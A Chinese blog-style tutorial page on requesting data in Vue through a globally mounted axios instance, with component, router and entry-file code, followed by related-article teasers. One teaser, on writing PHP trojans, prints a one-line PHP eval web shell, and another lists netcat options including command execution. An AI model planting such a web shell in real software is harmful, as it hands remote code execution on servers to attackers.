Vue前端开发-数据缓存

news2025/1/28 1:17:36

完成全局性的axios实例对象配置后,则可以在任意一个组件中直接调用这个对象,发送异步请求,获取服务端返回的数据,同时,针对那些不经常变化的数据,可以在请求过程中,进行数据缓存,并根据设定的缓存时长,定时更新数据,接下来进行详细介绍。

一、请求数据

配置好全局性的axios实例对象后,请求数据就变得十分简单,只需在组件中,通过this这个对象,调用$http属性,就可以获取配置好的axios实例化对象,再通过这个对象发送异步请求,并在then函数中获取响应的数据,下面通过一个完整的实例来演示请求过程。

实例9-1 请求数据

1. 功能描述

在首页中,当点击左侧菜单的“数据请求”链接时,则在页面右侧进入路径为“/d-1”对应的组件,在组件中当点击“发送请求”按钮时,调用全局的axios实例对象,根据指定的请求地址,发送异步请求,并将返回的数据显示在元素中。

2. 实现代码

在项目的components 文件夹中,添加一个名为“BaseRequest”的.vue文件,该文件的保存路径是“components/ch9/”,在文件中加入如清单9-1所示代码。

代码清单9-1 BaseRequest.vue代码

<template>
    <div class="iframe">
        <div class="i-left">
            <span>返回值:</span>
            <span>{{ data }}</span>
        </div>
    </div>
    <div class="iframe">
        <div class="i-left">
            <button @click="onSendRequest">发送请求</button>
        </div>
    </div>
</template>
<script>
export default {
    data() {
        return {
            data: ""
        }
    },
    methods: {
        onSendRequest() {
            this.data = "loading...";
            this.$http.get('/?day=1-1').then(d => {
                this.data = d.data
            })
        }
    }
}
</script>
<style>
.iframe {
    width: 300px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 16px 8px;
    border: solid 1px #ccc;
}

.i-left {
    display: flex;
    align-items: center;
}

.iframe:last-child {
    border-top: none;
    background-color: #eee;
}
</style>

为了配置全局性的axios实例化对象,先在项目的components 文件夹中,添加一个名称为“axios”的js文件,该文件的保存路径是“components/plugins/”,并在文件中加入如清单9-2所示代码。

代码清单9-2 axios.js代码

import axios from "axios";
const request = axios.create({
    baseURL: "http://rttop.cn/api",
    timeout: 2000
})
export default request;

创建并导出axios对象后,还需要将该对象挂载到新建的app应用中,因此,需要将入口文件main.js进行如代码清单9-3所示的修改。

代码清单9-3 main.js代码

import { createApp } from 'vue'
import App from './App.vue'
import Global from './components/ch6/Global'
import router from './router/index'
import request from './plugins/axios';
let app = createApp(App);
app.config.globalProperties.$http = request;
app.component("Global", Global);
app.use(router);
app.mount('#app')

为了实现点击“数据请求”链接后路由跳转的功能,需要向配置的路由对象中添加新的路径与组件对应关系,在目录“components/router/”下,打开index.js文件,新添加如代码清单9-4所示的加粗部分内容。

代码清单9-4 index.js代码

import { createRouter, createWebHistory } from 'vue-router';
// 配置组件对应路径
const routes = [
   {
        path: '/d-1',
        name: 'd-1',
        component: () => 
import('../components/ch9/BaseRequest.vue')
    }
    // 省略部分其他代码
]
const router = createRouter({
    history: createWebHistory(process.env.BASE_URL),
    routes
})
export default router

最后,在默认入口组件App.vue中,添加链接和router-view元素,当点击左侧“数据请求”链接后,在右侧的router-view元素中,加载路径对应的组件,该文件的完整代码如下列代码清单9-5所示。

代码清单9-5 App.vue代码

<template>
  <div class="frame">
    <div class="f-left">
      <router-link to="/d-1">数据请求</router-link>
    </div>
    <div class="f-right">
      <router-view></router-view>
    </div>
  </div>
</template>
<script>
export default {
  name: "App",
  data() {
    return {
    }
  }
};
</script>
<style>
#app {
  font-family: Avenir, Helvetica, Arial, sans-serif;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  color: #2c3e50;
}

nav {
  color: #666;
  margin: 5px 0;
  font-size: 13px;
}
a{
  text-decoration: none;
}
.frame{
  display: flex;
}
.frame .f-left{
  width: 120px;
  padding: 10px;
}
</style>

3. 页面效果

保存代码后,页面在Chrome浏览器下执行的页面效果如图9-6所示。
在这里插入图片描述
4. 源码分析

在数据请求组件BaseRequest.vue中,当用户点击“数据请求”按钮后,触发按钮的单击事件,并执行单击事件函数,在函数中,首先修改data状态变量值,由于在发送异步请求时,无法立即响应,因此,在请求过程中,通常使用一个状态变量,告知用户请求的状态。

然后,再通过this访全局性的axios对象,并调用该对象的别名get,以GET方式,根据指定的URL地址,发送异步的请求,最后,当请求成功时,触发then方法中的第一个回调函数,并在回调函数中获取到服务端返回的数据d,并更新到状态变量data中。

需要说明的是:then方法中有两个回调函数,第一个是请求成功时被执行,第二个是请求失败时执行,因此,考虑到请求失败的可能性,then方法中的代码应修改成如下代码所示:

this.$http.get('/?day=1-1').then(d => {
this.data = d.data
}, err => {
      console.log(err.message)
})

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2262998.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Composer指定php版本执行(windows)

✔️指定php版本执行&#xff08;windows&#xff09; 正常用法如下 /usr/bin/php7.1 /usr/local/bin/composer require xxxx 通过alias 简化指定PHP版本的路径 alias .php7_composer‘/d/application/phpstudy_pro/Extensions/php/php7.3.4nts/php /d/application/phpstudy_pr…

搭建私有链

文章目录 1. 准备工作2. 创建创世区块配置文件2.1 创建数据目录2.2 创建创世区块配置文件1. “config”部分2. “alloc”部分3. “coinbase”4. “difficulty”5. “extraData”6. “gasLimit”7. “nonce”8. “mixhash”9. “parentHash”10. “timestamp” 3. 初始化&#x…

游戏AI实现-寻路算法(BFS)

广度优先搜索算法&#xff08;英语&#xff1a;Breadth-first search&#xff0c;缩写&#xff1a;BFS&#xff09;&#xff0c;又译作宽度优先搜索&#xff0c;或横向优先搜索&#xff0c;是一种图形搜索算法。 寻路地图搭建&#xff1a; 游戏AI实现-寻路地图搭建-CSDN博客 …

k-均值聚类(k-Means Clustering)详解

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…

复合机器人为生产提供精准的建议和决策支持

在现代化生产的浪潮中&#xff0c;智能复合机器人以其卓越的性能和高度智能化特点&#xff0c;正成为保障生产安全与可靠性的重要力量。 智能复合机器人具备精确的感知、判断和决策能力&#xff0c;能够在复杂的生产环境中自主导航、精确操作&#xff0c;避免了人为因素可能导致…

AI前沿分析:Github Copilot 推出免费版本,AI + 编程更高效!

名人说&#xff1a;莫听穿林打叶声&#xff0c;何妨吟啸且徐行。—— 苏轼 Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 一、GitHub Copilot&#xff1a;AI编程的“革命性”助力二、免费版本上线&#xff1a;AI编程的普及时代&…

git使用教程(超详细)-透彻理解git

一.核心基础 核心概念有六个 首先请把与svn有关的一切概念暂时从你的脑海中移除掉&#xff0c;我们要重新认识本文所讲述的所有概念。这非常重要。 1.worktree worktree是一个目录&#xff0c;你在这里对文件进行增加、删除、修改。也就是我们常说的工作区。在git中worktree…

【优选算法---分治】快速排序三路划分(颜色分类、快速排序、数组第K大的元素、数组中最小的K个元素)

一、颜色分类 题目链接: 75. 颜色分类 - 力扣&#xff08;LeetCode&#xff09; 题目介绍&#xff1a; 给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums &#xff0c;原地 对它们进行排序&#xff0c;使得相同颜色的元素相邻&#xff0c;并按照红色、白色、蓝色顺序…

第六周作业

完成的作业&#xff1a; 1、自建yum仓库&#xff0c;分别为网络源和本地源 执行步骤&#xff1a;将光盘挂载到目录设置为本地源。 再将光盘挂载到http目录下实现ip访问&#xff0c;实现网络源。 编辑/etc/yum.repos.d/rocky.repo修改源 [base] namecd baseurlfile:///mnt/cd/…

PHP木马编写

一、最简单的一句话木马 <?php eval($_REQUEST[cmd]); ?> 1. <?php 和 ?> <?php 和 ?> 是 PHP 代码的开始和结束标记&#xff0c;表示 PHP 代码块的范围。 2. eval() eval() 是 PHP 中的一个内建函数&#xff0c;用来执行字符串类型的 PHP 代码。…

面试题整理3----nc命令的常见用法

面试题整理3----nc命令的常见用法 1. NC是什么2. NC的常用参数2.1 开启指定端口TCP监听(-l小写的L)2.2 测试端口是否能访问(-v)2.3 开启指定端口UDP监听(-u)2.4 端口扫描(-z)2.5 指定超时时间(-w)2.6 指定本地端口号连接(-p)2.7 指定的命令(-e) 1. NC是什么 nc&#xff08;Net…

智源大模型通用算子库FlagGems四大能力升级 持续赋能AI系统开源生态

FlagGems是由智源研究院于2024年6月推出的面向多种AI芯片的开源大模型通用算子库。FlagGems使用Triton语言开发&#xff0c;在Triton生态开源开放的基础上&#xff0c;为多种AI芯片提供开源、统一、高效的算子层生态接入方案。FlagGems沿着统一的中间语言、统一的算子接口和统一…

每天40分玩转Django:Django部署

Django部署 一、今日学习内容概述 学习模块重要程度主要内容生产环境配置⭐⭐⭐⭐⭐settings配置、环境变量WSGI服务器⭐⭐⭐⭐⭐Gunicorn配置、性能优化Nginx配置⭐⭐⭐⭐反向代理、静态文件安全设置⭐⭐⭐⭐⭐SSL证书、安全选项 二、生产环境配置 2.1 项目结构调整 mypr…

JDK21执行java -jar xxx.jar 文件时 “An unexpected error occurred” 问题处理

背景介绍&#xff1a;因langchain4j最新版本&#xff08;>0.36.0&#xff09;&#xff08;Min JDK version has been upgraded to 17&#xff09;需JDK17起&#xff0c;故直接使用Amazon Corretto JDK 21作为基础镜像。 在使用 JDK21 进行开发或运行相关应用时&#xff0c;有…

人工智能:人机交互和用户体验:相关学点、两者关系、未来趋势

目录 相关学点 HCI 与 UX 的关系 当前趋势和未来展望 人机交互&#xff08;Human-Computer Interaction, HCI&#xff09;和用户体验&#xff08;User Experience, UX&#xff09;是现代设计和工程领域的重要概念&#xff0c;尤其在软件开发、网站设计和产品设计中起着关键作…

docker(wsl)命令 帮助文档

WSL wsl使用教程 wsl -l -v 列出所有已安装的 Linux 发行版 wsl -t Ubuntu-22.04 --shutdown 关闭所有正在运行的WSL发行版。如果你只想关闭特定的发行版 wsl -d Ubuntu-22.04 登录到Ubuntu环境 wsl --list --running 查看正在wsl中运行的linux发行版 wsl --unregister (系统名…

2024年09月机器人一级理论真题答案及解析

一、单选题 1、如图&#xff0c;下列哪个选项是机器人? &#xff08; &#xff09; A、a B、b C、c D、d 解析&#xff1a; 根据提供的图片和选项&#xff0c;选项B&#xff08;b&#xff09;与图片中显示的机器人外观相符&#xff0c;因此B是正确答案。 2、智能机器人属…

Web开发 -前端部分-CSS

CSS CSS&#xff08;Cascading Style Sheet&#xff09;:层叠样式表&#xff0c;用于控制页面的样式&#xff08;表现&#xff09;。 一 基础知识 1 标题格式 标题格式一&#xff1a; 行内样式 <!DOCTYPE html> <html lang"en"><head><meta…

【数据集】车内视角拍摄道路路面缺陷数据集1075张3类标签YOLO+VOC格式

数据集格式&#xff1a;VOC格式YOLO格式 压缩包内含&#xff1a;3个文件夹&#xff0c;分别存储图片、xml、txt文件 JPEGImages文件夹中jpg图片总计&#xff1a;1075 Annotations文件夹中xml文件总计&#xff1a;1075 labels文件夹中txt文件总计&#xff1a;1075 标签种类数&am…

vue3使用axios请求接口,先报错301,然后报错404

一、问题描述 在开发项目需求的时候&#xff0c;碰到一个奇怪的错误&#xff0c;先报错301&#xff0c;然后报错404&#xff0c;如上图所示。但是项目的其他接口请求都是正常的。 二、错误原因及解决方法 接口url的末尾缺少斜杠 /&#xff0c;加上就好了。 原url&#xff1a;…